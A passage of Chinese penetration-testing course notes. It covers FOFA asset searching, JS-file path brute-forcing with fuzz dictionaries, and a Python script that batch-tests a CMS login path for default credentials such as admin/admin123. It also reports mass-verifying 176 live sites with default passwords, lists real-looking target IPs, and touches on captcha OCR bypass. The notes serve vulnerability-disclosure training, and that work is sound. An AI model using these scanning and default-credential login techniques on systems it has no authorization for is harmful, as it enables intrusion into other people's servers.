- 注意事项:
- 需要配合浏览器开发者工具(Network面板)分析实际请求
- 关注JS中的硬编码参数和敏感信息
- 测试时要注意请求频率,避免对生产系统造成影响
六、目标手工测试56:26
1. 信息收集方法

- 搜索技巧:使用FOFA搜索引擎时,可通过"询价系统"等关键词进行搜索,系统会返回包含独立IP的匹配结果(如示例中显示973个匹配结果)
- 结果分析:搜索结果包含响应时间(223ms)、服务器信息(如nginx/1.18.0 (Ubuntu))和地理位置(中国ASN: 4808)
2. 手工测试流程

- 测试步骤:
- 通过手工测试抓包分析网站结构
- 重点关注js文件和目录结构(如示例中的/js/、/lid/、/js528a/vm/等目录)
- 工具使用:使用开发者工具查看网络请求,分析加载资源
3. JS文件获取

- 工具应用:使用JSFinder工具扫描获取js文件地址
- 结果验证:检查获取到的结果是否包含有价值的js文件地址信息
4. 测试结果分析

- 关键信息:
- 请求URL示例:http://123.225.253.34:1008/js/wcasp.js
- 状态码:200(来自缓存)
- 服务器信息:nginx/1.18.0 (Ubuntu)
- 内容类型:application/javascript
5. 子域名发现

- 扫描结果:
- 测试价值:这些在正常访问时不可见的地址可能暴露更多系统信息
6. 目标收集技巧

- 高效搜索:
- 使用特定javascript库作为搜索条件,如:body="jquery/jquery-1.11.1.js"
- 结合国家筛选:country="CN"
- 排除干扰:body!="privacy-cn.pl"
- 优势:相比通用关键词搜索,能更精准定位单点登录系统
七、JavaScript文件爆破57:28
1. fuzz字典介绍58:05

- 字典来源: 课程提供的fuzzDicts-master资源包中包含jsFileDict字典文件,专门用于JS文件路径爆破
- 使用方法:
- 配合扫描工具使用字典进行路径爆破
- 字典路径:Tools > fuzzDicts-master > js > jsFileDict
- 实战价值:
- 可发现隐藏的JS文件路径(如示例中的/login.js、/webapp.js等)
- 通过分析JS代码可获取新的接口地址和资产信息

- 爆破流程:
- 使用WebPathFuzz等工具加载jsFileDict字典
- 设置目标URL(如http://123.125.253.34:1998/js/)
- 扫描获取有效JS文件路径(示例中发现6个有效JS文件)
- 分析技巧:
- 检查JS文件中的ajax请求和接口调用
- 查找包含敏感参数的POST请求(示例中发现SQL注入点)
- 注意config等配置文件中的URL信息
八、课程总结01:00:20

- 核心思路:
- 资产发现: 通过字典爆破获取更多JS文件路径
- 代码审计: 分析JS文件中的接口调用和参数传递
- 漏洞挖掘: 测试发现的接口是否存在注入等漏洞
- 注意事项:
- 实际测试需遵守法律法规,避免对生产系统造成影响
- 推荐使用授权测试环境或漏洞众测平台实践
- 工具推荐:
- JSFinder:自动化JS文件信息收集工具
- WebPathFuzz:路径爆破工具
- FuzzDicts:包含各类测试字典的资源库
九、口令保护脚本01:01:47
1. 脚本介绍01:02:17

- 实现原理:通过requests模块发送POST请求模拟登录,检测返回内容判断登录成功与否
- 核心代码:
- 请求地址:url+'/admindm-yourname/mod_common/login.php?act=login'
- 测试数据:data={'user':'admin','password':'admin123'}
- 结果判断:通过返回内容是否包含"sorry"字符串判断登录状态
- 关键技巧:
- 使用content.decode('utf-8')处理响应编码
- 异常处理使用try-except结构保证程序健壮性
- 批量测试时通过文件读取URL列表进行遍历
2. 应用案例01:03:05

- 测试流程:
- 先抓取正常登录数据包分析请求结构
- 观察成功/失败时的不同返回内容特征
- 根据特征编写判断逻辑(如"sorry"字符串)
- 注意事项:
- 必须先用Burp等工具抓包确认登录接口和参数格式
- 测试时需清除浏览器缓存避免干扰判断
- 批量测试时要注意请求间隔,防止被封禁
- 扩展应用:
- 可结合字典进行爆破测试
- 可改造为定时监控脚本检测弱口令修复情况
- 可集成到自动化漏洞扫描工具链中
十、问答时间01:08:18

- 验证码处理方案:
- 图形验证码:可通过OCR技术识别
- 拖动验证码:目前尚无可靠自动化方案
- 谷歌reCAPTCHA等高级验证码难以绕过
- 学习建议:
- Python是渗透测试必备技能
- 需要掌握requests、BeautifulSoup等常用库
- 建议通过CTF比赛实践脚本编写能力
- 课程安排:
- 下节课将讲解更高级的漏洞利用技术
- 验证码绕过专题会在后续课程深入讲解
十一、知识小结
| 知识点 | 核心内容 | 技术要点 | 案例演示 |
| CNVD漏洞挖掘条件 | 通用性100+资产影响面 | 需影响100+域名/IP/服务器 | 演示通过搜索引擎验证178条匹配结果 |
| 系统分类 | 开源/闭源/售卖系统的区别 | 源码可获得性决定审计方式 | 开源系统直接审计,闭源系统尝试获取源码 |
| 代码审计技术 | PHP/ASPX/JAVA程序审计 | 语言特性与常见漏洞模式 | DM企业建站系统审计发现SQL注入 |
| 无源码测试方法 | JS接口分析与反编译技术 | 使用jsfinder和反编译工具 | 演示.dll文件反编译获取源码 |
| 逻辑漏洞挖掘 | 安装流程缺陷导致的默认凭证 | 系统安装未强制修改默认密码 | 批量验证176个站点存在默认admin/123 |
| 自动化测试脚本 | Python实现批量漏洞验证 | requests库+关键词匹配 | 演示密码爆破脚本开发过程 |
| 资产搜索技术 | FOFA引擎+特定关键词组合 | body/js/标题等多维度搜索 | 通过js文件发现300+潜在目标 |
| 漏洞提交标准 | 需确保漏洞未公开且影响面广 | 版本比对和全网搜索验证 | 对比CNVD已收录漏洞版本范围 |